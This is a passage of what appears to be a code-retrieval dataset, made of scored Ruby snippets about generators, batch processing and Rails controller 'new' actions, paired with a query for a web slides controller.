"text": "def generate *args\n generator = generator_for *args\n generator.generate\n end",
"title": ""
},
{
"docid": "bd44408da3152bad04dc81fd9e027659",
"score": "0.5705466",
"text": "def generate *args\n generator = generator_for *args\n generator.generate\n end",
"title": ""
},
{
"docid": "fa9325b5c8cd7b90bcd72c72a0842408",
"score": "0.56870055",
"text": "def make_batch \n batch = (0...@opts[:batch_size]).to_a.map do |i|\n { :depth=> 0 }\n end\n \n return batch\n end",
"title": ""
},
{
"docid": "e343baf1f3b80581dff6b59c810fe7e8",
"score": "0.5672542",
"text": "def batch(*args, &block)\n self.instance_exec(*args, &block)\n end",
"title": ""
},
{
"docid": "3ea411cb3c20c2b783e8dacd642b5c0c",
"score": "0.56463313",
"text": "def exec__from exec_plan\n batch,\n batch_controller = array__from(exec_plan)\n exec__batch batch, batch_controller\n end",
"title": ""
},
{
"docid": "c7a4ff2c7187e8d572c223048ee43d78",
"score": "0.5629954",
"text": "def on_finish_batch; end",
"title": ""
},
{
"docid": "32f3ace868c270e806e8458a4f161293",
"score": "0.5614309",
"text": "def load_generators(app = T.unsafe(nil)); end",
"title": ""
},
{
"docid": "32f3ace868c270e806e8458a4f161293",
"score": "0.5614309",
"text": "def load_generators(app = T.unsafe(nil)); end",
"title": ""
},
{
"docid": "04cf4b4e0c8d32d987d8549aa74a610b",
"score": "0.5612732",
"text": "def batch\n req = create_batch_request\n if block_given?\n yield req\n req.execute\n else\n req\n end\n end",
"title": ""
},
{
"docid": "88d7cd9855b4399f40c3ce18e667e667",
"score": "0.56073403",
"text": "def process_iter(exp)\n call = exp.shift # the method call to which the iterator is passed\n params = exp.shift # arguments of the block\n code = exp.shift # the code block\n\n old_iter_dvars = @current_iter_dvars\n @current_iter_dvars = Set.new \n @block_whileloop_stack.push(:iter)\n \n # Get an argument name for the iterator function signature.\n arg_name = @model.encode_fresh_local_variable()\n\n fun_str = \"\"\n asgn_str = \"\"\n \n if params.nil? \n # Case 1: {}: Any number of arguments may be passed\n arity = -1\n fun_str << \"function(){\"\n elsif params == 0\n # Case 2: {||}: Zero arguments\n arity = 0\n fun_str << \"function(){\"\n elsif params.first == :masgn\n # Case 3: {|i,j|}: Multiple arguments (multiple assignment)\n arity = nil # |arity| >= 2 \n fun_str << \"function(#{arg_name}){\"\n\n # TODO: remove masgn_iter and instead put the corresponding logic\n # into yield!\n masgn_iter = @model.encode_globalattr(\"masgn_iter\")\n params << [:to_ary, [:special_to_ary, \"#{masgn_iter}(#{arg_name})\"]]\n want_expression(false) do\n without_result do\n asgn_str << process(params) \n end\n end\n else\n # Case 4: {|i|}: Single argument\n # TODO: warning if not exactly one argument is passed \n arity = 1\n fun_str << \"function(#{arg_name}){\"\n\n # we convert a single argument into a multiple assignment clause\n # with one argument.\n\n sasgn_iter = @model.encode_globalattr(\"sasgn_iter\")\n params << [:special_inline_js_value, \"#{arg_name}==null?#{@model.encode_nil}:#{arg_name}\"]\n\n want_expression(false) do\n without_result do\n asgn_str << process(params) \n end\n end\n end\n\n old_result_name = @result_name\n @result_name = nil\n\n block_str = \"\"\n want_expression(false) do\n want_result do\n block_str << process(code) if code\n end\n end\n\n # generate code for the variable declarations\n var_str = \"\"\n unless @current_iter_dvars.empty?\n var_str << \"var \"\n var_str << @current_iter_dvars.to_a.join(\",\")\n var_str << sep()\n end\n\n # declare and initialize the return value\n if @result_name\n var_str << \"var #{@result_name}=#{@model.encode_nil}#{sep()}\"\n end\n\n # NOTE: we don't need to initialize any dvar to nil, as \n # they can't be used before being assigned to (because\n # otherwise they are vcall's and not dynamic variables). \n\n str = fun_str + var_str + asgn_str + sep() + block_str\n str << \"#{sep()}return #{@result_name}\" if @result_name\n str << \"}\"\n\n put_iter(str)\n\n @result_name = old_result_name\n @current_iter_dvars = old_iter_dvars\n @block_whileloop_stack.pop || raise\n\n return process(call)\n end",
"title": ""
},
{
"docid": "807c894a6932fb3212bc91b43adf63c5",
"score": "0.56012595",
"text": "def run_generator(name, params)\n silence_generator do\n build_generator(name, params).command(:create).invoke!\n end\n end",
"title": ""
},
{
"docid": "807c894a6932fb3212bc91b43adf63c5",
"score": "0.56012595",
"text": "def run_generator(name, params)\n silence_generator do\n build_generator(name, params).command(:create).invoke!\n end\n end",
"title": ""
},
{
"docid": "a9369dacd665a3ef0d72623db2c7cab7",
"score": "0.5596465",
"text": "def create_interpreter \n template 'interpreter', \"lib/batch_load/import/#{table_name}/#{batch_loader_name}_interpreter.rb\"\n end",
"title": ""
},
{
"docid": "41837ffbd41c932429a0808e8895bc76",
"score": "0.5577162",
"text": "def i_generate\n yield 1\n yield 2\nend",
"title": ""
},
{
"docid": "3bcb8d5bbeb90d217b1d1ba8a214aa41",
"score": "0.55573344",
"text": "def yield; end",
"title": ""
},
{
"docid": "d87056e029cdf508490aced96bdab9ca",
"score": "0.555289",
"text": "def generate\n map(&:generate)\n end",
"title": ""
},
{
"docid": "cc8cb796f01e6bedf9b2006572260e63",
"score": "0.55221134",
"text": "def create_intelligent_generator(jobs)\n jobs_gen = jobs.lazy.each\n Fiber.new do\n (jobs.length-1).times do\n Fiber.yield jobs_gen.next\n end\n jobs_gen.next\n end\n end",
"title": ""
},
{
"docid": "7435c08965fd8361461cffa4bc09ebba",
"score": "0.55060655",
"text": "def generate_me(generator)\n generator.generate self\n end",
"title": ""
},
{
"docid": "5f6d3dc32e00b6f496b4ba4f8c2161b3",
"score": "0.5506059",
"text": "def apply(&blk)\n Rubylude.new ->() {\n while value = @generator.resume\n Fiber.yield blk.call(value)\n end\n }\n end",
"title": ""
},
{
"docid": "2b81fd70d27ab58bc7df6e59fb7c1538",
"score": "0.55031735",
"text": "def run\n yield\n end",
"title": ""
},
{
"docid": "646aaf61ac31ea8506e2c5c6808b66ff",
"score": "0.54791623",
"text": "def pre_loop; end",
"title": ""
},
{
"docid": "d27f0f98dd116af648356a69eaecf752",
"score": "0.54700047",
"text": "def generate\n end",
"title": ""
},
{
"docid": "409c6787ec30ba6dbe8d1557232bbf8e",
"score": "0.5466086",
"text": "def setup_process_in_batches_tests\n @array = %W[one two three four five six seven eight nine ten]\n @empty = Array.new\n end",
"title": ""
},
{
"docid": "07a7e7d12f890ce96b993d562276d89c",
"score": "0.5460983",
"text": "def run() end",
"title": ""
},
{
"docid": "456fa302ac35efabc4937a9df50846aa",
"score": "0.54509425",
"text": "def each_chunk; end",
"title": ""
},
{
"docid": "b11295b80668f045d6e3d25ce8135fcc",
"score": "0.5443891",
"text": "def each_task_batch\n self.class.tasks.each_batch\n end",
"title": ""
},
{
"docid": "bf823cd80f83cd99599b95bcd516fdbe",
"score": "0.54402936",
"text": "def ddl_batch\n raise Google::Cloud::FailedPreconditionError, \"No block given for the DDL batch\" unless block_given?\n begin\n start_batch_ddl\n yield\n run_batch\n rescue StandardError\n abort_batch\n raise\n ensure\n @ddl_batch = nil\n end\n end",
"title": ""
},
{
"docid": "9ebcd096ec7e6a6f2b37c4f72df852bf",
"score": "0.5433882",
"text": "def pre_gen=(block)\n meta_def(:pre_gen, &block)\n end",
"title": ""
},
{
"docid": "8b665f2299c613a9b4cb83683f6c86ef",
"score": "0.54329646",
"text": "def run(_); end",
"title": ""
},
{
"docid": "8b665f2299c613a9b4cb83683f6c86ef",
"score": "0.54329646",
"text": "def run(_); end",
"title": ""
},
{
"docid": "08bb0bb5b22ea7a701bf59425bcf1090",
"score": "0.5407903",
"text": "def batch_finished\n end",
"title": ""
},
{
"docid": "37b4abada5b06836d4a70b3805163fba",
"score": "0.540427",
"text": "def perform\n begin\n name = \"rbx-ffi-generators-#{@label}\"\n source = File.expand_path name + @platform.source_ext\n target = File.expand_path name + @platform.executable_ext\n\n File.open source, \"wb\" do |f|\n @subject.source f\n end\n\n if preparer = @subject.prepare(source, target)\n handle preparer, :prepare_failed\n else\n target = source\n end\n\n processor = @subject.process target\n return handle(processor, :process_failed)\n ensure\n remove source, target\n end\n end",
"title": ""
},
{
"docid": "9e468edb7ba25219a4d04a17c09bc752",
"score": "0.5396658",
"text": "def initial_generate\n \n end",
"title": ""
},
{
"docid": "5ab16ee7c14c6b20d0ea3a780df789b8",
"score": "0.53938603",
"text": "def script_do_in_batches(options = {}, &block)\n start = Time.now\n count_options = options.reject {|k,v| %w(order select batch_size sleep logger).include?(k.to_s)}\n item_count = count(count_options)\n iteration = 1\n do_in_batches(options) do |record|\n msg = \"#{iteration} of #{item_count} (#{(iteration.to_f / item_count * 100).round(2)}%)\"\n puts \"#{record.id.to_s.ljust(10)} #{msg.ljust(30)} time #{Time.now - start}\"\n yield(record)\n iteration += 1\n end\n puts \"Finished in #{Time.now - start} s\"\n end",
"title": ""
},
{
"docid": "a606ff314b37ba47be08b757ff538b5e",
"score": "0.5385823",
"text": "def processor; end",
"title": ""
},
{
"docid": "356bef36dbcade71af2d5bcf5e588f64",
"score": "0.5385038",
"text": "def processing_batches(w)\n dir = join(@basedir, DIR_PROCESSING)\n w.sftp.dir[dir, '*'].map do |entry|\n Model::Batch.new(:path => join(dir, entry.name), :state => :processing)\n end\n end",
"title": ""
},
{
"docid": "9669375b8bc749a8bb3178f24ee6a202",
"score": "0.5375013",
"text": "def assign(gen)\n end",
"title": ""
},
{
"docid": "cc4cf39fb9475aa39c32e361bc8f6978",
"score": "0.53744256",
"text": "def generator\n @app.generator\nend",
"title": ""
},
{
"docid": "5c7b1baca52346fb8c45e5140d2e6ccf",
"score": "0.5373866",
"text": "def runnables; end",
"title": ""
},
{
"docid": "b5d5e5f74dfbad19d5a149bbbffb792f",
"score": "0.53725743",
"text": "def run(&block); end",
"title": ""
},
{
"docid": "31cea72e8225cf667f690e75dfe1153b",
"score": "0.5371627",
"text": "def process_batches(arguments, &block)\n # step: we setup the batches for filling in later\n batches = @rules.commands.keys.inject({}) do |h, arg|\n h[arg] = {:arguments => [], :switches => {}, :selected => false}\n h\n end\n # step: global is always turned on\n cursor = batches[:global]\n cursor[:selected] = true\n # step: we iterate the arguments and seperate them into their batch\n arguments.map do |x|\n if batches.include? x.to_sym\n cursor = batches[x.to_sym]\n cursor[:selected] = true\n else\n cursor[:arguments] << x\n cursor[:switches][x] = true if x =~ /^-{1,2}/\n end\n end\n # step: if the we are --help|-h .. lets bypasss the rest, as it's useless\n if batches.select { |k, v| v[:switches] if v[:switches]['--help'] or v[:switches]['-h'] }.size >= 1\n return batches\n end\n\n # step: iterate the batch (command) and add any options which have defaults and check added\n batches.each_pair do |command, batch|\n # we don't care about a command that has not been selected\n next unless batch[:selected]\n # step: we iterate the input for this command\n @rules.commands[command].inputs.each_pair do |input_name, input|\n next if input.optional\n short_switch = $1 if input.options.short and input.options.short =~ /(-{1,2}[[:alpha:]]+) /\n long_switch = $1 if input.options.short and input.options.long =~ /(-{1,2}[[:alpha:]]+) /\n switch_exists = (!batch[:switches].has_key? short_switch and !batch[:switches].has_key? long_switch) ? false : true\n #puts \"input: %s, switch_exists: %s, short: %s, long: %s\" % [ input_name, switch_exists, short_switch, long_switch ]\n # check: if we don't have :defaults on the input and the switch has not set - throw require argument\n if !switch_exists and !input.defaults\n raise ArgumentError, 'the argument %s (%s/%s) is a required parameter, please check usage' %\n [input.name, input.options.short, input.options.long]\n end\n # step: we can bypass this one if it's already set\n next if switch_exists\n # step: the argument is not specified but the input has a :defaults - hence we inject the parameters\n # in as if was passed on the command line.\n batch[:switches][short_switch || long_switch] = true\n batch[:arguments] << short_switch || long_switch\n batch[:arguments] << input.defaults\n end\n end\n batches\n end",
"title": ""
},
{
"docid": "9f37ce0cc2a61a5ae6ac515d89540fdf",
"score": "0.53669137",
"text": "def each(&block)\n @all.each_batch { |batch| batch.each { |s| yield s } }\n end",
"title": ""
},
{
"docid": "c6cd0b9f82a709717fa8832455e667be",
"score": "0.53370494",
"text": "def psql_db_dump_replacer_batch_generator__from psql_db_dump_replacer\n\n psql_db_dump_replacer = array__from psql_db_dump_replacer\n\n psql_db,\n db_dumps__backup_desired_path,\n db_dumps__to_be_applied,\n psql_dump_apply_options,\n psql_db__get_dumps_to_be_applied,\n reserved = psql_db_dump_replacer\n\n psql_db = array__from psql_db\n db_dumps__backup_desired_path = array__from db_dumps__backup_desired_path\n db_dumps__to_be_applied = array__from db_dumps__to_be_applied\n psql_db__src_dumps_to_be_applied = array__from psql_db__get_dumps_to_be_applied\n\n batch_generators = [\n psql_db__get_dumps_to_be_applied.nne && [\n :psql_db_batch__cli_or_generate_dumps,\n psql_db__src_dumps_to_be_applied,\n db_dumps__to_be_applied,\n \"\",\n ],\n [\n :psql_db_batch__cli_or_generate_dumps,\n psql_db,\n db_dumps__backup_desired_path,\n \"\",\n ],\n [\n :psql_db_batch__db_queries_method,\n psql_db,\n :db_queries__drop_owned_current_user,\n ],\n [\n :psql_db_batch__cli_or_apply_dumps,\n psql_db,\n db_dumps__to_be_applied,\n psql_dump_apply_options,\n ],\n ].compact\n\n batch_generators.map {|batch_generator|\n batch__from_batch_generator batch_generator\n }.flatten 1\n end",
"title": ""
},
{
"docid": "4639929c37ae6e981d705f8220255b88",
"score": "0.5333842",
"text": "def sequential opts = {}, &block\n exec :sequential, opts, &block\n end",
"title": ""
},
{
"docid": "26c96ef120af700da7f038712bf0a777",
"score": "0.5326901",
"text": "def batch(*spec)\n Batch.new(self, spec.flatten)\n end",
"title": ""
},
{
"docid": "5ab49f4a4e76cf57dddfec246839f72d",
"score": "0.5323184",
"text": "def run; end",
"title": ""
},
{
"docid": "5ab49f4a4e76cf57dddfec246839f72d",
"score": "0.5323184",
"text": "def run; end",
"title": ""
},
{
"docid": "5ab49f4a4e76cf57dddfec246839f72d",
"score": "0.5323184",
"text": "def run; end",
"title": ""
},
{
"docid": "5ab49f4a4e76cf57dddfec246839f72d",
"score": "0.5323184",
"text": "def run; end",
"title": ""
},
{
"docid": "5ab49f4a4e76cf57dddfec246839f72d",
"score": "0.5323184",
"text": "def run; end",
"title": ""
},
{
"docid": "5ab49f4a4e76cf57dddfec246839f72d",
"score": "0.5323184",
"text": "def run; end",
"title": ""
},
{
"docid": "5ab49f4a4e76cf57dddfec246839f72d",
"score": "0.5323184",
"text": "def run; end",
"title": ""
},
{
"docid": "5ab49f4a4e76cf57dddfec246839f72d",
"score": "0.5323184",
"text": "def run; end",
"title": ""
},
{
"docid": "5ab49f4a4e76cf57dddfec246839f72d",
"score": "0.5323184",
"text": "def run; end",
"title": ""
},
{
"docid": "594565b16b0e52d6e217cc58022cee6c",
"score": "0.53199506",
"text": "def generate(size = @@default_size, rng = @@default_rng)\n @block.call(size, rng)\n end",
"title": ""
},
{
"docid": "82b889ef009ff6b285d96bab56ffcf42",
"score": "0.5298589",
"text": "def generate_comprehensive\n\n end",
"title": ""
},
{
"docid": "86cae3def8887a4ddc16db9ae8075ff3",
"score": "0.52971643",
"text": "def batch\n mon_synchronize do\n begin\n original, @client = @client, SSDB::Batch.new\n yield(self)\n @client.values = original.perform(@client)\n ensure\n @client = original\n end\n end\n end",
"title": ""
},
{
"docid": "86cae3def8887a4ddc16db9ae8075ff3",
"score": "0.52971643",
"text": "def batch\n mon_synchronize do\n begin\n original, @client = @client, SSDB::Batch.new\n yield(self)\n @client.values = original.perform(@client)\n ensure\n @client = original\n end\n end\n end",
"title": ""
},
{
"docid": "86fa4dfdd38527140d21c609ddcdd255",
"score": "0.52918905",
"text": "def each(&block)\n @batch_queue.each(&block)\n end",
"title": ""
},
{
"docid": "1d2729bce39516955b3178a731e61881",
"score": "0.52859575",
"text": "def batch\n job && job.batch\n end",
"title": ""
},
{
"docid": "5379da235251a0df319f64249ce04402",
"score": "0.5282782",
"text": "def run_generate(checksums); end",
"title": ""
},
{
"docid": "2ec499efafc9a11d8f2ee968201d710b",
"score": "0.52811605",
"text": "def process(&block); end",
"title": ""
},
{
"docid": "416562130a3eaf12792e36ee2fc45e5f",
"score": "0.5263608",
"text": "def on_all_in_batches(num_batches, &block)\n on_each_shard do |shard_class|\n next if shard_class.first.blank? # Skip if shard is empty\n\n # Current shard\n shard = shard_class.shard\n\n # Max and starting point\n max = shard_class.order(\"id desc\").first.id\n start = shard_class.order(\"id asc\").first.id\n max_batch_index = num_batches - 1\n\n # Increment value\n batch_size = (max - start) / num_batches\n\n # Find what is left for the last batch\n # (in case num_batches didn't divide evenly)\n last_batch_size = (max - start) - (max_batch_index - 1) * batch_size\n\n # \"times\" method always starts with 0 so index will be correct\n num_batches.times do |index|\n\n if index == max_batch_index\n block.call(shard.id, start, last_batch_size)\n else\n block.call(shard.id, start, batch_size)\n end\n\n start += batch_size\n end\n end\n end",
"title": ""
},
{
"docid": "8ca35a0370adf2fd16732b638a3609b8",
"score": "0.5257051",
"text": "def preloop\n end",
"title": ""
},
{
"docid": "6f159cca2831d2da8514d9446da11891",
"score": "0.5243704",
"text": "def yield\n @eff.yield.perform\n end",
"title": ""
},
{
"docid": "99fd55cf0d295e16960df848b9bf21f3",
"score": "0.52415985",
"text": "def generators\n @generators ||= []\n end",
"title": ""
},
{
"docid": "99fd55cf0d295e16960df848b9bf21f3",
"score": "0.52415985",
"text": "def generators\n @generators ||= []\n end",
"title": ""
},
{
"docid": "3c28ab0148393259fc56f70e5911c388",
"score": "0.52402455",
"text": "def call(concept:, **options)\n start_generator(concept, options)\n run_generator :concept, :concept\n run_generator :multiple, :operation, Generate::DEFAULT_OPERATIONS\n run_generator :multiple, :cell, Generate::DEFAULT_CELLS\n run_generator :multiple, :view, Generate::DEFAULT_CELLS if options[:view]\n run_generator :multiple, :contract, Generate::DEFAULT_CONTRACTS\n close_generator\n end",
"title": ""
},
{
"docid": "8235ebf7058af650a1d4fa0d7e5d7c56",
"score": "0.52399004",
"text": "def executor; end",
"title": ""
},
{
"docid": "8235ebf7058af650a1d4fa0d7e5d7c56",
"score": "0.52399004",
"text": "def executor; end",
"title": ""
},
{
"docid": "8235ebf7058af650a1d4fa0d7e5d7c56",
"score": "0.52399004",
"text": "def executor; end",
"title": ""
},
{
"docid": "fbb5dfde803f3c2aad890b7cfb9929d8",
"score": "0.5237138",
"text": "def yieldall(opts = T.unsafe(nil), &block); end",
"title": ""
},
{
"docid": "f03f58d005f39e6f099d66ac5e787326",
"score": "0.5232748",
"text": "def runner(&blk); end",
"title": ""
},
{
"docid": "f03f58d005f39e6f099d66ac5e787326",
"score": "0.5232748",
"text": "def runner(&blk); end",
"title": ""
},
{
"docid": "368782d3161d925e1d5fdceb966840aa",
"score": "0.52312416",
"text": "def to_generate_object(&block_)\n if block_\n @gen_obj = block_\n else\n @gen_obj\n end\n end",
"title": ""
}
] |
2e95fc4327bc04b89ce35573847206fe
|
GET /web_slides/new GET /web_slides/new.xml
|
[
{
"docid": "024ab0ecbe36077c862af5440eb3d947",
"score": "0.76950556",
"text": "def new\n @web_slide = WebSlide.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @web_slide }\n end\n end",
"title": ""
}
] |
[
{
"docid": "643ad619b55f29051dc9ecbf9a0f44a7",
"score": "0.73684037",
"text": "def new\n @rss_slide = RssSlide.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @rss_slide }\n end\n end",
"title": ""
},
{
"docid": "369a48659a7a484c3ffdc62bb030b4de",
"score": "0.7256883",
"text": "def new\n @slideshow = Slideshow.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @slideshow }\n end\n end",
"title": ""
},
{
"docid": "369a48659a7a484c3ffdc62bb030b4de",
"score": "0.7256883",
"text": "def new\n @slideshow = Slideshow.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @slideshow }\n end\n end",
"title": ""
},
{
"docid": "7d91cb4e6dbcf6ba8bacf3b2b181893e",
"score": "0.7053337",
"text": "def new\n @slide_type = SlideType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @slide_type }\n end\n end",
"title": ""
},
{
"docid": "d8f5186b059c9520106aa9ffc4af36e5",
"score": "0.70500875",
"text": "def new\n @page_slide = Slide.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @page_slide }\n end\n end",
"title": ""
},
{
"docid": "a48a8f5abcada6a4a53dfcb675407427",
"score": "0.6965476",
"text": "def new\n @slide = Slide.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @slide }\n end\n end",
"title": ""
},
{
"docid": "a48a8f5abcada6a4a53dfcb675407427",
"score": "0.6965476",
"text": "def new\n @slide = Slide.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @slide }\n end\n end",
"title": ""
},
{
"docid": "a48a8f5abcada6a4a53dfcb675407427",
"score": "0.6965476",
"text": "def new\n @slide = Slide.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @slide }\n end\n end",
"title": ""
},
{
"docid": "8fba3e1d290dd3a6cb26be7ee442d226",
"score": "0.69424814",
"text": "def new\n @title = t('view.slides.new_title')\n @slide = @lesson.slides.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @slide }\n end\n end",
"title": ""
},
{
"docid": "eb41e241d9e4d2ca958563a764d49854",
"score": "0.6897643",
"text": "def create\n @web_slide = WebSlide.new(params[:web_slide])\n\n respond_to do |format|\n if @web_slide.save\n format.html { redirect_to(@web_slide, :notice => 'Web slide was successfully created.') }\n format.xml { render :xml => @web_slide, :status => :created, :location => @web_slide }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @web_slide.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b84e3ec89af25e8b149f15f50778349f",
"score": "0.6838453",
"text": "def new\n @presentation = Presentation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @presentation }\n end\n end",
"title": ""
},
{
"docid": "a83173640f77272bfb6f58a0a65c7e67",
"score": "0.6774551",
"text": "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => new_vurl }\n end\n end",
"title": ""
},
{
"docid": "5ee7028e07bd5c90cb35b486acd71a97",
"score": "0.6757275",
"text": "def new\n @pslide = Pslide.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pslide }\n end\n end",
"title": ""
},
{
"docid": "faa8488f75ec66ea4dfa2b7a3f15b1bf",
"score": "0.6674305",
"text": "def create\n @rss_slide = RssSlide.new(params[:rss_slide])\n\n respond_to do |format|\n if @rss_slide.save\n format.html { redirect_to(@rss_slide, :notice => 'Rss slide was successfully created.') }\n format.xml { render :xml => @rss_slide, :status => :created, :location => @rss_slide }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @rss_slide.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1d3a500e3c75611c2135de3417c94698",
"score": "0.6498849",
"text": "def new\n @slideshow = Slideshow.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @slideshow }\n end\n end",
"title": ""
},
{
"docid": "1d3a500e3c75611c2135de3417c94698",
"score": "0.6498849",
"text": "def new\n @slideshow = Slideshow.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @slideshow }\n end\n end",
"title": ""
},
{
"docid": "499a5c2bf26a6a138b62b881bba3fb6f",
"score": "0.649518",
"text": "def create\n newparams = coerce(params) \n @slide = Slide.new(newparams[:slide])\n @slide.name = @slide.image_file_name\n @slide.position = @slide.presentation.slides.count + 1\n if @slide.save\n flash[:notice] = \"Successfully created slide.\"\n respond_to do |format| \n format.html {redirect_to @slide.presentation} \n format.json { render :json => { :result => 'success', :slide => slide_url(@slide) } }\n end\n else\n render :action => 'new'\n end\n end",
"title": ""
},
{
"docid": "f17dd8b9d8542c56e05dc9196d7b3cd8",
"score": "0.6473793",
"text": "def create\n @title = t('view.slides.new_title')\n @slide = @lesson.slides.build slide_params\n\n respond_to do |format|\n if @slide.save\n format.html { redirect_to(course_lesson_url(@lesson.course, @lesson, anchor: @slide.anchor), notice: t('view.slides.correctly_created')) }\n format.json { render json: @slide, status: :created, location: @slide }\n else\n format.html { render action: 'new' }\n format.json { render json: @slide.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6596b97ffb3f00e15381ee9aa94fbfbe",
"score": "0.6453133",
"text": "def new\n @article = Thumbwebs::Article.new(:title =>'', :synopsis => '',:body =>'', :published =>'',\n :rights =>'', :channel_id => '')\n\n respond_to do |format|\n format.html {render :template => \"new\"}# new.html.erb\n format.xml { render :xml => @article, :root => 'thumbwebs:articles' }\n end\n end",
"title": ""
},
{
"docid": "b727194502b9569999c1c4dbd6efcce5",
"score": "0.64115435",
"text": "def new\n @promo_slide = PromoSlide.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @promo_slide }\n end\n end",
"title": ""
},
{
"docid": "11e349952b1bc3c4e538d08499499be4",
"score": "0.63962793",
"text": "def new\n @web_clip = WebClip.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @web_clip }\n end\n end",
"title": ""
},
{
"docid": "c138046c4ac007a2e55f7552e557bb92",
"score": "0.6390892",
"text": "def new\n @thumb = Thumb.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @thumb }\n end\n end",
"title": ""
},
{
"docid": "662303867e5d7b174de2b9fba7c4e74e",
"score": "0.6359185",
"text": "def new\n @scripture = Scripture.new\n\n respond_to do |format|\n format.html # new.html.haml\n format.xml { render :xml => @scripture }\n end\n end",
"title": ""
},
{
"docid": "9620c769ae4d58e405a2ab2c8ae10b1b",
"score": "0.6349633",
"text": "def new\n @slide_image = SlideImage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @slide_image }\n end\n end",
"title": ""
},
{
"docid": "f63cb232c309ac177e7e9ae24ad918b7",
"score": "0.63463485",
"text": "def new\n @rssnew = Rssnews.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @rssnew }\n end\n end",
"title": ""
},
{
"docid": "7c270e4fdc428f9d12e69b6e664ec6aa",
"score": "0.63461",
"text": "def new\n @pic = Pic.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pic }\n end\n end",
"title": ""
},
{
"docid": "91b7328d26a640c79dec3427099aa7cf",
"score": "0.63428193",
"text": "def new\n @press = Press.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @press }\n end\n end",
"title": ""
},
{
"docid": "0e36da035671f99baf5fb5afb24359c3",
"score": "0.6338422",
"text": "def create\n @slide = Slide.new(params[:slide])\n\n respond_to do |format|\n if @slide.save\n format.html { redirect_to @slide, notice: 'Slide was successfully created.' }\n format.json { render json: @slide, status: :created, location: @slide }\n else\n format.html { render action: \"new\" }\n format.json { render json: @slide.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "44db3e73824b1bb1c96133efd15476bc",
"score": "0.6331388",
"text": "def new\n @published_document = PublishedDocument.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @published_document }\n end\n end",
"title": ""
},
{
"docid": "41650db805ea0751d4314f77d3199296",
"score": "0.63087595",
"text": "def new\n @recurso = Recurso.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @recurso }\n end\n end",
"title": ""
},
{
"docid": "d753c992a058dd91ed925c269679573d",
"score": "0.6296307",
"text": "def show\n @web_slide = WebSlide.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @web_slide }\n end\n end",
"title": ""
},
{
"docid": "6439f9472c7853040463a7c17c7102e2",
"score": "0.62916464",
"text": "def create\n @slideshow = Slideshow.new(params[:slideshow])\n\n respond_to do |format|\n if @slideshow.save\n format.html { redirect_to(@slideshow, :notice => 'Slideshow was successfully created.') }\n format.xml { render :xml => @slideshow, :status => :created, :location => @slideshow }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @slideshow.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f66ed07591e7e9cce0a682f489879cb1",
"score": "0.6277123",
"text": "def new\n @page = Page.new\n\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page }\n end\n end",
"title": ""
},
{
"docid": "f7061bcfc9108925fc33025957fe2cf6",
"score": "0.6276109",
"text": "def new\n respond_to do |format|\n format.html { render_template } # new.html.erb\n format.xml { render xml: @get_started_page }\n end\n end",
"title": ""
},
{
"docid": "247b3615c910ea82de91f33b67dbac4b",
"score": "0.6273469",
"text": "def new\n @page = Page.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page }\n end\n end",
"title": ""
},
{
"docid": "247b3615c910ea82de91f33b67dbac4b",
"score": "0.6273469",
"text": "def new\n @page = Page.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page }\n end\n end",
"title": ""
},
{
"docid": "247b3615c910ea82de91f33b67dbac4b",
"score": "0.6273469",
"text": "def new\n @page = Page.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page }\n end\n end",
"title": ""
},
{
"docid": "247b3615c910ea82de91f33b67dbac4b",
"score": "0.6273469",
"text": "def new\n @page = Page.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page }\n end\n end",
"title": ""
},
{
"docid": "247b3615c910ea82de91f33b67dbac4b",
"score": "0.6273469",
"text": "def new\n @page = Page.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page }\n end\n end",
"title": ""
},
{
"docid": "247b3615c910ea82de91f33b67dbac4b",
"score": "0.6273469",
"text": "def new\n @page = Page.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page }\n end\n end",
"title": ""
},
{
"docid": "8457885874d9fcefb4613464f1f902dc",
"score": "0.62687844",
